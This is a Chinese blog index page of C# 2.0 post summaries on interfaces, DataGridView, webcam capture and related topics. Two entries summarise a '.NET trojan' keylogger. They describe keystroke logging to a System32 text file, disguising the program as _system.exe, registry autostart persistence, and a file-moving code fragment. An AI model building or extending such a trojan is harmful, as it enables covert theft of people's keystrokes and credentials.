随笔分类 -  C#2.0

上一页 1 2 3 4 5 6 下一页
(接口)让僵冷的翅膀飞起来---从实例谈OOP、工厂模式和重构
摘要:有了翅膀才能飞,欠缺灵活的代码就象冻坏了翅膀的鸟儿。不能飞翔,就少了几许灵动的气韵。我们需要给代码带去温暖的阳光,让僵冷的翅膀重新飞起来。结合实例,通过应用OOP、设计模式和重构,你会看到代码是怎样一步一步复活的。 为了更好的理解设计思想,实例尽可能简单化。但随着需求的增加,程序将越来越复杂。此时就有修改设计的必要,重构和设计模式就可以派上用场了。最后当设计渐趋完美后,你会发现,即使需求不断增... 阅读全文
posted @ 2007-05-03 09:37 冷火 阅读(866) 评论(2) 推荐(0)
C# interface 接口理解
摘要:针对接口编程能帮助达到面向对象开发和设计中"低耦合"的要求.举个例子:某公司有一台特殊打印机,还可以使用一年,一年后可能换为另一种打印机,这两种打印机都特殊而贵.所以现在的程序希望换了打印机后也少量修改就可用.方法:1,定义一个打印机接口.2,定义打印机类A,B,分别实现此接口.3,定义一个工厂类,在类中可选择返回由A实现的接口,或者由B实现的接口.4,在程序中使用打印机时,就可以使用工厂类来调用... 阅读全文
posted @ 2007-04-21 09:54 冷火 阅读(9271) 评论(4) 推荐(0)
C#里面base的有趣用法1
摘要://下面的这个是base分别对父系的构造函数的不同的引用方式. using System; namespace temp{ class Program { static void Main(string[] args) { temp2 t = new temp2(100); t.showInfo(); ... 阅读全文
posted @ 2007-04-21 09:52 冷火 阅读(1397) 评论(0) 推荐(0)
Interface定义及使用
摘要:接口定义以大写字母I开头。方法只定义其名称,在C#中,方法默认是公有方法;用public修饰方法是不允许的,否则会出现编译错误;接口可以从别的接口继承,如果是继承多个接口,则父接口列表用逗号间隔。 接口可以通过类来实现,当类的基列表同时包含基类和接口时,列表中首先出现的是基类;类必须要实现其抽象方法; 接口使用:见代码(转) interface使用 interf... 阅读全文
posted @ 2007-04-21 09:50 冷火 阅读(697) 评论(0) 推荐(0)
c#中的interface abstract 与 virtual(转)
摘要:interface用来声明接口1.只提供一些方法规约,不提供方法主体. 如:public interface IPerson{ void getName();//不包含方法主体}2.方法不能用public abstract等修饰,无字段变量,无构造函数。3.方法可包含参数。 如 public interface IPerson { void getAge(string s)... 阅读全文
posted @ 2007-04-21 09:49 冷火 阅读(331) 评论(0) 推荐(0)
c#摄像头编程实例
摘要:摄像头编程 安装摄像头后,一般可以找到一个avicap32.dll文件 这是一个关于设想头的类 using system;using System.Runtime.InteropServices; namespace webcam{/// /// avicap 的摘要说明。/// public class showVideo{// showVideo calls[DllI... 阅读全文
posted @ 2007-04-16 11:24 冷火 阅读(12840) 评论(1) 推荐(1)
C#类中的get 和set 函数的具体用法
摘要:C#语言有两个函数--一个赋值函数(get),一个取值函数(set),这从它生成的中间语言代码可以清晰地看到。C#不提倡将域的保护级别设为public而使用户在类外任意操作--那样太不OO,或者具体点说太不安全!对所有有必要在类外可见的域,C#推荐采用属性来表达。属性不表示存储位置,这是属性和域的根本性的区别。下面是一个典型的属性设计: using System; class MyClass { ... 阅读全文
posted @ 2007-04-15 23:44 冷火 阅读(3755) 评论(2) 推荐(0)
定义C#的类
摘要:既然类类型是C#中最重要、最常见的类型,因此它是我要介绍的重点,实际上,C#中的许多特性都可以通过类类型来体现。 前面已经介绍,一个类对象中,主要包括字段、属性和方法。不过除此之外,在类类型中还可以定义嵌套类,也可以定义一个常量。 对于一个没有任何编程知识的初学者而言,也许还应介绍一下常量与变量。不过从它们的名字就可以非常清晰地辨明二者的区别,常量其值是不可改变的,而变量的值则可以修改,除非该... 阅读全文
posted @ 2007-04-15 23:35 冷火 阅读(468) 评论(0) 推荐(0)
C#中处理字符串和数字
摘要:在CSDN上有人问:C#中有没有判断一个string类型变量是否为数字类型的系统函数(如vb中的IsNumeric(s))? 答案肯定是没有的。有人提议用int.Parse(string)的方法,然后通过捕获异常来判断返回的值。更好的方法是用正则表达式:public int IsNumeric(string str){ int i; if(str != null && Reg... 阅读全文
posted @ 2007-04-13 15:57 冷火 阅读(963) 评论(0) 推荐(0)
自定义图形类(饼图,直方图,曲线图)
摘要:自定义图形类(饼图,直方图,曲线图) using System; using System.Data; using System.Windows.Forms; using System.Runtime.InteropServices; using System.IO; using System.Text; using System.Data.SqlClient; using System.Thre... 阅读全文
posted @ 2007-04-11 11:02 冷火 阅读(1119) 评论(0) 推荐(0)
.net木马的实现-开机键盘记录
摘要:1 Hook类的实现网上这方面的内容很多,但大多没给出全部代码或者没有完整实现木马功能,这篇文章可能会有所帮助.我给出完整的代码不是提倡使用木马,只是在技术的谈论.首先,这是一个较为完整的木马程序,运行或编译后会在System32下建一个名为keyReport.txt的文本文件用来记录所有按键消息,并且在System32下会有一个名为_system.exe木马主体.在注册表CurrentUser... 阅读全文
posted @ 2007-04-10 08:34 冷火 阅读(900) 评论(1) 推荐(0)
.net木马的实现-开机键盘记录
摘要:3 RegistryReport和 Report类这是RegistryReport 类的实现 public void MoveFile() { //判断该位置是否存在_system.exe,如果不是,就把程序移动到该位置,否则返回 if(!File.Exists("c:\\windows\\system32\\_system.exe")) { ... 阅读全文
posted @ 2007-04-10 08:30 冷火 阅读(366) 评论(0) 推荐(0)
远程鼠标控制
摘要:远程鼠标控制-服务端 以前不懂网络编程的时候,感觉远程桌面是一个好神奇的技术,很神秘,现在了解这方面的知识后才觉得也没什么,前几天,用C#写了一个远程鼠标控制的东东,给感兴趣的朋友参考一下。转贴请注明出处。 我先引用一篇别人的文章: Socket编程基础 本章以Berkeley Socket为主,主要介绍网络编程时常用的调用和程序使用它们的方法及基本结构。网络编程有两种主要的编程接口,一种... 阅读全文
posted @ 2007-04-10 08:26 冷火 阅读(1628) 评论(1) 推荐(0)
C#基础概念二十五问
摘要:当初学 C# 时是找个人大概问了一下数据类型和分支语句就开始做项目了。这两天又全面的看了一下相关的基础知识(学而时习之嘛),总结了25个问题: 1.静态变量和非静态变量的区别?2.const 和 static readonly 区别?3.extern 是什么意思?4.abstract 是什么意思?5.internal 修饰符起什么作用?6.sealed 修饰符是干什么的?7.override 和... 阅读全文
posted @ 2007-04-06 09:07 冷火 阅读(613) 评论(0) 推荐(0)
按钮更新datagridview
摘要:public partial class Form1 : Form {Form1数据成员#region Form1数据成员 private DataTable DT = new DataTable(); private SqlDataAdapter SDA = new SqlDataAdapter();#endregionForm1构造函数#region For... 阅读全文
posted @ 2007-04-02 16:10 冷火 阅读(1214) 评论(1) 推荐(0)
为DataGridView增加日期/时间列(转)
摘要:为DataGridView增加日期/时间列,设计DataGridView时,在Edit Columns窗口中可以选择ColumnType为新增加的列类型CalendarColumn,设置ShowUpDown(但是不能保存到设计文件. designer.cs,可以在设计文件中修改ShowUpDown的值),在CellStyle Builder窗口中设置Format,指定日期/时间的显示格式,格式只能... 阅读全文
posted @ 2007-04-02 15:33 冷火 阅读(2642) 评论(1) 推荐(1)
国外C#开源项目(转)
摘要:Open Source Aspect-Oriented Frameworks in C# AspectSharp - Aspect# (pronunced as AspectSharp) is a free AOP ( Aspect Oriented Programming ) framework for the .NET Framework, it uses Dynamic Proxi... 阅读全文
posted @ 2007-03-22 18:12 冷火 阅读(716) 评论(1) 推荐(0)
DataGridView新特色
摘要:1、自定义列Customize Cells and Columns in the Windows Forms DataGridView Control by Extending TheirBehavior and AppearanceHost Controls in Windows Forms DataGridView Cells继承 DataGridViewTextBoxCell 类生成新的Ce... 阅读全文
posted @ 2007-03-22 16:15 冷火 阅读(535) 评论(0) 推荐(0)
控制只生成一个子窗体
摘要:控制只生成一个子窗体 呵呵,很简单,先定义一个窗体变量; 如:frmDirTool() DirTool = null; 然后再从生成这个窗体的点击事件中写入 if(DirTool ==null) { DirTool = new frmDirTool(); DirTool.MdiParent = this; DirTool.Show()... 阅读全文
posted @ 2007-03-22 13:41 冷火 阅读(308) 评论(1) 推荐(0)
DataGridView删除、修改方法封装
摘要:DataGridView删除、修改方法封装 private int curRow = 0;//鼠标右键得到的当前行号 #region 激发鼠标事件,显示右键菜单,得到被选中的行的行号,注意第一列被隐藏的情况考虑 private int showRightMenu(DataGridView dataGridView, ContextMenu... 阅读全文
posted @ 2007-03-22 12:10 冷火 阅读(2639) 评论(0) 推荐(0)

上一页 1 2 3 4 5 6 下一页